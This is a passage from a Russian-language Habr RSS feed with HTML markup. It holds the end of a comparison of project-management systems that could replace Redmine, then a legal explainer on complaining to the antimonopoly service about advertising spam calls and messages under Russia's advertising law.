(Управление проектами)&#34; title=&#34;Интерфейс Comindware (Управление проектами)&#34; width=1024 height=688 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/fea/777/af1/fea777af1de7345d3c907e138c9fbe17.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/fea/777/af1/fea777af1de7345d3c907e138c9fbe17.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;em&gt;Интерфейс Comindware (Управление проектами)&lt;/em&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Назначение: &lt;/strong&gt;средний и крупный бизнес с уникальными процессами, которым нужно гибко связывать проекты с активами, финансами или логистикой.&lt;p&gt;&lt;strong&gt;Миграция с Redmine:&lt;/strong&gt; через API (отдельный проект).&lt;p&gt;&lt;strong&gt;Ключевые возможности&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;графовое ядро:&lt;/strong&gt; возможность строить сколь угодно сложные связи между любыми объектами;&lt;li&gt;&lt;p&gt;&lt;strong&gt;adaptive case management:&lt;/strong&gt; управление неструктурированными задачами;&lt;li&gt;&lt;p&gt;&lt;strong&gt;изменение «на лету»:&lt;/strong&gt; архитектуру системы можно менять без её остановки.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Плюсы&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;фантастическая гибкость в руках опытного аналитика;&lt;li&gt;&lt;p&gt;возможность автоматизировать практически любой смежный бизнес-процесс;&lt;li&gt;&lt;p&gt;полноценная Low-code платформа.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Минусы&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;cлабая интеграция с инженерным стеком (CI/CD, Git) «из коробки», так как платформа сфокусирована больше на процессном управлении (BPM), чем на SDLC;&lt;li&gt;&lt;p&gt;интерфейс выглядит «техническим» и требует обучения;&lt;li&gt;&lt;p&gt;высокая зависимость от качества проектирования процесса на старте.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Цена:&lt;/strong&gt; По запросу.&lt;h3&gt;YouGile&lt;/h3&gt;&lt;p&gt;&lt;a href=https://ru.yougile.com/&gt;YouGile&lt;/a&gt; — это таск-трекер, который превращает каждую задачу в чат. Идеально для команд, которые привыкли работать в мессенджерах.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/71b/de5/f0c/71bde5f0cdcef9830aa8ed9ddcccf067.jpeg alt=&#34;Интерфейс YouGile&#34; title=&#34;Интерфейс YouGile&#34; width=2048 height=1247 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/71b/de5/f0c/71bde5f0cdcef9830aa8ed9ddcccf067.jpeg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/71b/de5/f0c/71bde5f0cdcef9830aa8ed9ddcccf067.jpeg 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;em&gt;Интерфейс YouGile&lt;/em&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Назначение: &lt;/strong&gt;небольшие команды, агентства, отделы с высокой скоростью оперативного взаимодействия.&lt;p&gt;&lt;strong&gt;Миграция с Redmine: &lt;/strong&gt;через Excel/CSV или API.&lt;p&gt;&lt;strong&gt;Ключевые возможности&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;chat-first интерфейс:&lt;/strong&gt; вся история обсуждения задачи находится внутри нее;&lt;li&gt;&lt;p&gt;&lt;strong&gt;стикеры:&lt;/strong&gt; наглядная классификация задач на досках;&lt;li&gt;&lt;p&gt;&lt;strong&gt;зеркальные колонки:&lt;/strong&gt; уникальная фича для синхронизации задач между отделами.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Плюсы&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;почти нулевое время на обучение сотрудников;&lt;li&gt;&lt;p&gt;бесплатная версия для команд до 10 человек без ограничений;&lt;li&gt;&lt;p&gt;отлично подходит для не-ИТ подразделений.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Минусы&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;не подходит для долгосрочного планирования крупных продуктов;&lt;li&gt;&lt;p&gt;ограниченные аналитические возможности;&lt;li&gt;&lt;p&gt;нет глубокой интеграции с системами контроля версий и CI/CD пайплайнами.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Цена:&lt;/strong&gt; Облако — первые 10 человек бесплатно, далее от ~600 руб. за пользователя. Коробка — от ~1000 руб. за пользователя.&lt;h3&gt;WEEEK&lt;/h3&gt;&lt;p&gt;WEEEK — это легкий и современный российский мультисервис для личной и командной работы.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/fc7/47f/825/fc747f8257af7bf952f7fa6c168f8904.png alt=&#34;Интерфейс WEEEK&#34; title=&#34;Интерфейс WEEEK&#34; width=1808 height=1066 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/fc7/47f/825/fc747f8257af7bf952f7fa6c168f8904.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/fc7/47f/825/fc747f8257af7bf952f7fa6c168f8904.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;em&gt;Интерфейс WEEEK&lt;/em&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Назначение: &lt;/strong&gt;малый бизнес, стартапы, творческие коллективы.&lt;p&gt;&lt;strong&gt;Миграция с Redmine: &lt;/strong&gt;через встроенный импорт CSV или API.&lt;p&gt;&lt;strong&gt;Ключевые возможности&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;мультиплатформенность:&lt;/strong&gt; отличные мобильные и десктоп-приложения;&lt;li&gt;&lt;p&gt;&lt;strong&gt;недельное планирование:&lt;/strong&gt; удобный календарный вид задач;&lt;li&gt;&lt;p&gt;&lt;strong&gt;база знаний:&lt;/strong&gt; встроенная замена Notion.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Плюсы&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;очень приятный современный дизайн;&lt;li&gt;&lt;p&gt;быстрый онбординг сотрудников (в среднем 1-2 дня) благодаря наличию готовых шаблонов проектов и встроенных обучающих туров;&lt;li&gt;&lt;p&gt;наличие бесплатного базового тарифа.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Минусы&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;не предназначен для сложного проектирования ИТ-инфраструктуры (SDLC);&lt;li&gt;&lt;p&gt;отсутствует глубокая привязка к инженерному стеку (Git, сборки);&lt;li&gt;&lt;p&gt;отсутствие On-premise версии.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Цена:&lt;/strong&gt; от 190 руб. за пользователя (платные тарифы).&lt;h3&gt;ADVANTA&lt;/h3&gt;&lt;p&gt;ADVANTA — это cистема портфельного управления (PPM) для руководителей. Фокус не на карточках, а на деньгах, сроках и рисках всего холдинга.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/ea7/891/70c/ea789170cea25f74a77dc716a1a6b4dc.png alt=&#34;Интерфейс ADVANTA &#34; title=&#34;Интерфейс ADVANTA &#34; width=1280 height=720 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/ea7/891/70c/ea789170cea25f74a77dc716a1a6b4dc.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/ea7/891/70c/ea789170cea25f74a77dc716a1a6b4dc.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;em&gt;Интерфейс ADVANTA &lt;/em&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Назначение: &lt;/strong&gt;проектные офисы крупных компаний, занимающихся капстроительством или цифровой трансформацией.&lt;p&gt;&lt;strong&gt;Миграция с Redmine:&lt;/strong&gt; через API или выгрузки.&lt;p&gt;&lt;strong&gt;Ключевые возможности&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;светофоры проектов:&lt;/strong&gt; мгновенная визуализация здоровья всего портфеля;&lt;li&gt;&lt;p&gt;&lt;strong&gt;контрольные точки:&lt;/strong&gt; жесткий мониторинг ключевых этапов;&lt;li&gt;&lt;p&gt;&lt;strong&gt;сбор отчетности:&lt;/strong&gt; автоматизация формирования статусов для топ-менеджмента.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Плюсы&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;лучшая отчетность для акционеров и руководителей;&lt;li&gt;&lt;p&gt;продуманная методология управления проектами «из коробки»;&lt;li&gt;&lt;p&gt;глубокий финансовый учет.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Минусы&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;слишком формализована для продуктовых команд (Agile);&lt;li&gt;&lt;p&gt;отсутствие инструментов для управления кодовой базой и релизами ПО;&lt;li&gt;&lt;p&gt;сложный интерфейс для рядовых исполнителей.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Цена:&lt;/strong&gt; От ~4 500 руб. за пользователя в месяц (облако). Внедрение On-premise рассчитывается индивидуально.&lt;h3&gt;Битрикс24&lt;/h3&gt;&lt;p&gt;Битрикс24 — это одна из самых популярных в СНГ платформ «все в одном». Задачи здесь — часть большой социальной сети компании.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/17c/4bf/4c9/17c4bf4c9621ece376631b03784e70d0.png alt=&#34;Интерфейс Битрикс24&#34; title=&#34;Интерфейс Битрикс24&#34; width=1280 height=808 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/17c/4bf/4c9/17c4bf4c9621ece376631b03784e70d0.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/17c/4bf/4c9/17c4bf4c9621ece376631b03784e70d0.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;em&gt;Интерфейс Битрикс24&lt;/em&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Назначение: &lt;/strong&gt;компании любого размера, которым нужно закрыть все потребности в одном окне (CRM, чаты, задачи, телефония).&lt;p&gt;&lt;strong&gt;Миграция с Redmine:&lt;/strong&gt; через CSV или REST API.&lt;p&gt;&lt;strong&gt;Ключевые возможности&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;экосистема:&lt;/strong&gt; задачи тесно связаны с CRM-сделками и календарями;&lt;li&gt;&lt;p&gt;&lt;strong&gt;роботизация:&lt;/strong&gt; автоматическое создание задач по триггерам;&lt;li&gt;&lt;p&gt;&lt;strong&gt;контроль времени:&lt;/strong&gt; детальный учет рабочего времени сотрудников.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Плюсы&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;огромная партнерская сеть: внедренца можно найти в любом городе;&lt;li&gt;&lt;p&gt;низкая цена в пересчете на пользователя для больших команд;&lt;li&gt;&lt;p&gt;закрывает потребности всех отделов, не только ИТ.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Минусы&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;избыточность и «тяжесть» интерфейса для узких задач разработки;&lt;li&gt;&lt;p&gt;ИТ-командам не хватает специализированных инструментов разработки (нативная работа с Git, Release Management);&lt;li&gt;&lt;p&gt;слабые встроенные Agile-инструменты.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Цена:&lt;/strong&gt; пакетные тарифы (от ~2000 руб. за компанию). Коробка (On-premise) — от 109 000 руб.&lt;h3&gt;Мегаплан&lt;/h3&gt;&lt;p&gt;Мегаплан — классика российских систем управления, надежная и проверенная временем CRM с модулем проектов.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/8a7/aab/6b4/8a7aab6b4ea1955deaa3bb7aedde46e9.png alt=&#34;Интерфейс Мегаплан&#34; title=&#34;Интерфейс Мегаплан&#34; width=2048 height=960 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/8a7/aab/6b4/8a7aab6b4ea1955deaa3bb7aedde46e9.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/8a7/aab/6b4/8a7aab6b4ea1955deaa3bb7aedde46e9.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;em&gt;Интерфейс Мегаплан&lt;/em&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Назначение: &lt;/strong&gt;сфера услуг, оптовая торговля, малый и средний бизнес.&lt;p&gt;&lt;strong&gt;Миграция с Redmine: &lt;/strong&gt;через импорт Excel/CSV.&lt;p&gt;&lt;strong&gt;Ключевые возможности&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;четкая иерархия:&lt;/strong&gt; понятная структура проектов и поручений;&lt;li&gt;&lt;p&gt;&lt;strong&gt;финансовый контроль:&lt;/strong&gt; учет оплат и счетов внутри проектов;&lt;li&gt;&lt;p&gt;&lt;strong&gt;история отношений:&lt;/strong&gt; все задачи привязаны к карточке клиента.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Плюсы&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;очень стабильное решение с отличной техподдержкой;&lt;li&gt;&lt;p&gt;простая и понятная логика для не-ИТ специалистов;&lt;li&gt;&lt;p&gt;мощная интеграция проектов и CRM.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Минусы&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;архитектура системы не профилирована под цикл разработки программного обеспечения (спринты, релизы, интеграция с репозиториями);&lt;li&gt;&lt;p&gt;консервативный дизайн;&lt;li&gt;&lt;p&gt;не подходит для классического SDLC.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Цена:&lt;/strong&gt; от ~1 500 руб. в месяц за 5 пользователей.&lt;h3&gt;Кого не включили и почему&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Jira&lt;/strong&gt; — официально ушла с российского рынка: легально оплатить и обновлять нельзя.&lt;li&gt;&lt;p&gt;&lt;strong&gt;OpenProject и другие наследники &lt;/strong&gt;— честный open source, но это переезд «шило на мыло»: тот же сервер на самоподдержке, те же плагины и те же человеко-часы инженеров, ради ухода от которых обычно и затевается миграция. Если вас устраивает модель Redmine — оставайтесь на Redmine, его комьюнити больше.&lt;li&gt;&lt;p&gt;&lt;strong&gt;GitLab Issues и GitHub Issues&lt;/strong&gt; — для команды до 10 человек, живущей в репозитории, их может хватать, и это нормально. Но проектного управления, релизного цикла и ресурсного планирования там нет — это другой класс инструментов.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Trello, Asana, Wrike&lt;/strong&gt; — та же история, что с Jira: ушли или ограничили работу в РФ, рассматривать их как стратегическую замену в 2026 году нет смысла.&lt;/ul&gt;&lt;h3&gt;Заключение&lt;/h3&gt;&lt;p&gt;Поиск &lt;a href=https://simpleone.ru/solutions/sdlc-redmine-alternative&gt;замены Redmine&lt;/a&gt; — хороший повод провести ревизию процессов: половина «ограничений Redmine» при ближайшем рассмотрении оказывается ограничениями того, как вы его используете.&lt;p&gt;Выбор сводится не к «какая система лучше», а к тому, куда вы растете:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Если разработка и поддержка должны жить в одном контуре, а компания растет до сотен пользователей — смотрите на SimpleOne SDLC. Но закладывайте миграцию как отдельный проект: быстро не будет, зато один раз.&lt;li&gt;&lt;p&gt;Если нужен быстрый переезд с минимальным сопротивлением команды — Kaiten: встроенный импорт из Redmine и интерфейс, которому не нужно обучать. Потолок — сложное проектное управление, но до него ещё надо дорасти.&lt;li&gt;&lt;p&gt;Если задача — дёшево получить современный трекер без проекта внедрения — Яндекс Трекер закроет её за вечер. Глубины платформы там нет, но она нужна не всем.&lt;/ul&gt;&lt;p&gt;И совет на дорожку: никогда не выбирайте систему по демо. Возьмите ваш самый кривой процесс — тот, который в Redmine требовал пяти плагинов и молитвы, — и попробуйте настроить его в новой системе на пилоте. Вендор, у которого это получится быстро и без программистов, и есть ваш фаворит. А если таких не нашлось — возможно, ваш Redmine еще поживет.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <guid>https://habr.com/ru/companies/simpleone/articles/1046155/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046155</guid>
      <pubDate>Wed, 10 Jun 2026 15:22:45 +0000</pubDate>
    </item>
    <item>
      <title>В мире диких спамеров или Федеральный закон о рекламе. Просто о сложном</title>
      <link>https://habr.com/ru/articles/1046153/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046153</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;Одолели спамеры? Пять раз в день предлагают банковские карты, медицинские услуги и недвижимость? Вы знали, что у вас есть права? Так сказано в Конституции, и я с ней согласен!&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/b01/99c/d24/b0199cd24777df9cb353c208b72ac08f.png alt=&#34;У вас есть права. Так сказано в Конституции, и я с ней согласен! Цитата из т/с «Лучше звоните солу»&#34; title=&#34;У вас есть права. Так сказано в Конституции, и я с ней согласен! Цитата из т/с «Лучше звоните солу»&#34; width=974 height=546 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/b01/99c/d24/b0199cd24777df9cb353c208b72ac08f.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/b01/99c/d24/b0199cd24777df9cb353c208b72ac08f.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;У вас есть права. Так сказано в Конституции, и я с ней согласен! Цитата из т/с «Лучше звоните солу»&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;При распространении рекламы по сетям электросвязи (звонки, смс и пуш сообщения) рекламораспространитель обязан заручиться предварительным согласием абонента.&lt;p&gt;Если такое согласие у него отсутствует – звонок незаконен, а вы имеете право отправить жалобу в местное Управление ФАС. Управление попробует найти и оштрафовать спамера. Как правило, находит и штрафует.&lt;p&gt;Для подачи жалобы необходимо чтобы звонок был рекламным.&lt;p&gt;Понятие рекламы в Федеральном законе описано очень широко. Согласно определению из третей статьи реклама - информация, распространенная любым способом, в любой форме и с использованием любых средств, адресованная неопределенному кругу лиц и направленная на привлечение внимания к объекту рекламирования, формирование или поддержание интереса к нему и его продвижение на рынке.&lt;p&gt;Как правило, в правоприменительной практике споры строятся вокруг такого критерия как «направленность неопределённому кругу лиц».&lt;p&gt;Однако, суды часто встают на сторону потребителей и толкуют указанное понятие максимально широко.&lt;p&gt;Так Банку ВТБ (ПАО) дважды – Постановление АС Московского округа от 27.08.2021 № Ф05-20064/2021 и Постановление АС Северо-Западного округа от 07.02.2023 № Ф07-21454/2022 – не удалось убедить судебные инстанции в том, что СМС сообщение с обращением по имени и отчеству и индивидуально рассчитанными процентными ставками и суммами кредита являются персональным предложением, а не рекламой.&lt;p&gt;В решении по аналогичному делу с участием того же банка судья Арбитражного суда Магаданской области (Решение от 26.02.2024 по делу № А37-3172/2023) выразила весьма прогрессивную позицию: «&lt;strong&gt;&lt;u&gt;Учитывая развивающиеся технологии и возможности обработки значительного объема информации&lt;/u&gt;&lt;/strong&gt;, в том числе об определенном абоненте, следует оценивать не только возможность неопределенного круга лиц воспользоваться отдельным предложением продавца, но и систематичность, массовость направления однотипных сообщений и их конечную цель. Таким образом, рассматриваемое смс-сообщение &lt;strong&gt;имеет регулярный характер&lt;/strong&gt;, не является персональным предложением заявителю, направляется не одному абоненту, а массово и регулярно».&lt;p&gt;Следующие доводы традиционно отклоняются Управлениями ФАС и судами, и информация признается рекламой даже если:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Содержит обращение по имени&lt;li&gt;&lt;p&gt;Направлена на конкретный номер и конкретному лицу&lt;li&gt;&lt;p&gt;Направлена на привлечение внимания определённой аудитории &lt;/ul&gt;&lt;p&gt;Однако, стоит иметь в виду, что закон о рекламе содержит исключения. Так статья 2 Закона о рекламе содержит девять пунктов прямых исключений на которые не распространяется положения закона о рекламе.&lt;p&gt;Все исключения упоминания в статье не заслуживают, отразим наиболее значимые на наш взгляд.&lt;p&gt;Федеральный закон не распространяется на:&lt;p&gt;&lt;em&gt;1) Политическую рекламу, в том числе предвыборную агитацию и агитацию по вопросам референдума.&lt;/em&gt;&lt;p&gt;Если вас приглашают по телефону проголосовать за какую-либо партию – ФАС не поможет. Жаловаться следует в Избирательную комиссию и указывать на нарушение соответствующего закона, который устанавливает требования к агитации. Также можно пожаловаться в Роскомнадзор на незаконную обработку персональных данных для целей агитации, если такая обработка имеет место (статья 15 Закона о персональных данных).&lt;p&gt;&lt;em&gt;2) информацию, раскрытие или распространение либо доведение до потребителя которой является обязательным в соответствии с федеральным законом;&lt;/em&gt;&lt;p&gt;Очень сложно представить такое по телефону. Но иногда спамеры об этом заявляют. Правило простое – если вам позвонили и начали читать список обязательной информации из 10 статьи Закона о защите прав потребителей, это не реклама. Но УФАС и суды как правило с такими умниками не соглашаются и этот довод отклоняют.&lt;p&gt;&lt;em&gt;3) справочно-информационные и аналитические материалы (обзоры внутреннего и внешнего рынков, результаты научных исследований и испытаний), не имеющие в качестве основной цели продвижение товара на рынке и не являющиеся социальной рекламой;&lt;/em&gt;&lt;p&gt;Вокруг этого пункта обычно возникает больше всего драмы. Очень часто заявляется спамерами, но суды и УФАС возражение не поддерживают. Для целей указанного пункта не являются рекламой: научные статьи, каталоги, обобщённая статистика (на подобии той, что публикует Росстат). Информация справочного характера должна носить нейтральный характер и не преследовать цели «привлечения внимания к объекту рекламирования, формирование или поддержание интереса к нему и его продвижение на рынке».&lt;p&gt;&lt;em&gt;4) сообщения органов государственной власти, иных государственных органов, сообщения органов местного самоуправления, сообщения муниципальных органов, которые не входят в структуру органов местного самоуправления, если такие сообщения не содержат сведений рекламного характера и не являются социальной рекламой;&lt;/em&gt;&lt;p&gt;Тут всё просто до безобразия. Сообщения от МЧС – не реклама.&lt;p&gt;Также есть секретное основание для отказа, прямо не названное в статье 2 Закона о рекламе, но встречающееся на практике. &lt;strong&gt;Социальная реклама&lt;/strong&gt;.&lt;p&gt;Согласно определению из закона социальная реклама - информация, распространенная любым способом, в любой форме и с использованием любых средств, адресованная неопределенному кругу лиц и &lt;strong&gt;направленная на достижение благотворительных и иных общественно полезных целей, а также обеспечение интересов государства&lt;/strong&gt;.&lt;p&gt;Социальная реклама должна соответствовать только требованиям статьи 10 Закона о рекламе, поэтому положения статьи 18 Закона о рекламе про согласие абонента на неё не распространяются.&lt;p&gt;Так что нажаловаться в УФАС на поступившее по телефону предложение стать оператором БПЛА не получится. Комиссия откажет в возбуждении дела и это будет законно.&lt;p&gt;Следующее немаловажное понятие из словаря начинающего антиспамера &lt;strong&gt;&lt;em&gt;объект рекламирования&lt;/em&gt; &lt;/strong&gt;- товар, средства индивидуализации юридического лица и (или) товара, изготовитель или продавец товара, результаты интеллектуальной деятельности либо мероприятие (в том числе спортивное соревнование, концерт, конкурс, фестиваль, основанные на риске игры, пари), на привлечение внимания к которым направлена реклама.&lt;p&gt;Товар - продукт деятельности (в том числе работа, услуга), предназначенный для продажи, обмена или иного введения в оборот.&lt;p&gt;Почему важное? Одним из частых возражений, которые спамер может заявить Комиссии УФАС будет – это не реклама, потому что нет объекта рекламирования. Поэтому важно знать, что это такое, чтобы вы могли возразить. Понятие достаточно широкое и включается в себя пять позиций, некоторых из которых включают в себя другие позиции.&lt;p&gt;Примеры описания объекта рекламирования из реальных решений УФАС:  &lt;p&gt;1. Рекламное сообщение: «Меня зовут Мария. Альфа Банк. Звоню вам именно по ИП. Подскажите пожалуйста, вышла задача вам за открытие счета. Вот. Вы попали в списочек. Три тысячи будет начислено. И у нас ещё сейчас действует кешбэк 10% на любые категории покупок именно для ИП. Хотела предложить вам подключиться».&lt;p&gt;Описание УФАС:&lt;p&gt;«Информация, распространенная на абонентский номер заявителя …, содержит все необходимые юридические признаки рекламы, позволяющие определить ее именно в этом качестве и отличить от информации не рекламного характера: предназначена для неопределенного круга лиц; распространена по сетям электросвязи; преследует строго заданные цели информирования и продвижение на рынке – для коммерческих целей, преследующие извлечение прибыли, призвана формировать и поддерживать интерес со стороны потребителей к объекту рекламирования (услугам «Альфа-Банка» по открытию расчётного счёта).&lt;p&gt;В содержании звонка имеется наименование хозяйствующего субъекта, осуществляющего деятельность под наименованием «Альфа Банк», а также информация об услугах данного лица (открытие расчетного счета для ИП).&lt;p&gt;Из текста рекламного сообщения следует, что объектом рекламирования в рассматриваемом случае выступает как средство индивидуализации юридического лица – его фирменное наименование АО «Альфа-Банк», так и оказываемая банком услуга (открытие счета для ИП), целью является привлечь внимание к финансовой деятельности Банка».&lt;p&gt;2. Рекламное сообщение: «Алло, здравствуйте, вы меня слышите, меня Александр зовут. Я звоню вам, так как в ближайшие дни мы организовываем бесплатную проверку зрения в вашем регионе и в рамках, которого для всех участников будут выделены корригирующие очки. И так как проверка запланирована по всей стране, а ближайшее пройдет в городе Иерихон, хотел бы у вас уточнить: вы же из этого города – правильно?»&lt;p&gt;Описание УФАС:&lt;p&gt;«Из представленной аудиозаписи следует, что звонок совершен компанией, позиционирующей себя организацией, осуществляющей встречи, связанные со здоровьем, содержит предложение посещения мероприятия, проведение которого планировалось в г. Иерихон, в том числе, с прохождением бесплатной процедуры проверки зрения и получении корригирующих очков. Рассматриваемое сообщение в виде телефонного звонка с направленностью на привлечение внимания к медицинской услуге (проверка зрения) и медицинской технике (корригирующие очки – это оптический прибор для коррекции зрения) определяется как реклама, поскольку обладает всеми квалифицирующими признаками рекламы применительно к пункту 1 статьи 3 Закона о рекламе».&lt;p&gt;3. Рекламное сообщение: «К новогоднему столу: вам 400 баллов на 5 дней за чек от 100 ₽ до 28.12»&lt;p&gt;Описание УФАС:&lt;p&gt;«Комиссия – учитывая содержание рассматриваемого сообщения, отклоняет довод Общества о том, что это сообщение не является рекламой, целью направления рассматриваемого сообщения является привлечение внимания потребителей к магазинам «X5 Клуб» («Pyaterochka») путем направления им информации о получении баллов, а также стимулирование потребителей для совершения покупок в магазине «Pyaterochka».&lt;p&gt;Объектом рекламирования в рассматриваемом случае является как непосредственно само ООО «Агроторг», так и программа лояльности «X5 Клуб».&lt;p&gt;Если есть объект рекламирования – это реклама, если нет – значит нет. Но в спорных ситуациях советую всё-таки писать в УФАС. Иногда случаются различного рода чудеса и удивительные толкования закона и вам может показаться, что сообщение не реклама, но Комиссия решит по-другому.&lt;p&gt;Помимо изложенного точно НЕ будут признаны ненадлежащей рекламой:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Мошеннические звонки от «Генералов Центробанка»&lt;li&gt;&lt;p&gt;Звонки коллекторов (на них следует жаловаться по 230 закону в ФССП)&lt;li&gt;&lt;p&gt;Частная переписка между двумя лицами&lt;li&gt;&lt;p&gt;Звонки с тишиной в трубке и прозвоны из разряда «алло, ошиблись номером»&lt;li&gt;&lt;p&gt;Соцопросы, оценка качества услуг и т.п. признаются массовыми вызовами, за которыми надзирает Роскомнадзор с разной степенью успешности. В ФАС на них писать, как правило, бесполезно&lt;/ul&gt;&lt;p&gt;После того как вы вспомнили всё изложенное и точно убедились, что перед вами реклама. А также убедились, что вы не давали её отправителю согласия (поверьте, перепроверить галочки в формах регистрации и любые подписанные вами документы, если вам знакомо название отправителя спама стоит, можете найти много интересного) можно написать жалобу в ФАС.&lt;p&gt;Подробная инструкция как пожаловаться на спам есть в статье &lt;a href=https://habr.com/ru/news/1029254/ rel=&#34;noopener noreferrer nofollow&#34;&gt;https://habr.com/ru/news/1029254/&lt;/a&gt; повторяться не буду.&lt;p&gt;Жалобу можно направить через личный кабинет на сайте ФАС &lt;a href=https://lk.fas.gov.ru/ rel=&#34;noopener noreferrer nofollow&#34;&gt;https://lk.fas.gov.ru/&lt;/a&gt; или через Госуслуги &lt;a href=&#34;https://pos.gosuslugi.ru/form/?opaId=359628&#34; rel=&#34;noopener noreferrer nofollow&#34;&gt;https://pos.gosuslugi.ru/form/?opaId=359628&lt;/a&gt;&lt;p&gt;Друзья! Статья получилась на 4 листа печатного текста, так что на сегодня, пожалуй, всё. Если вам понравилось – дайте знать. Постараюсь написать продолжение как можно скорее.&lt;p&gt;В следующих сериях:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Согласие на рекламу. Практика и подводные камни. Враньё на 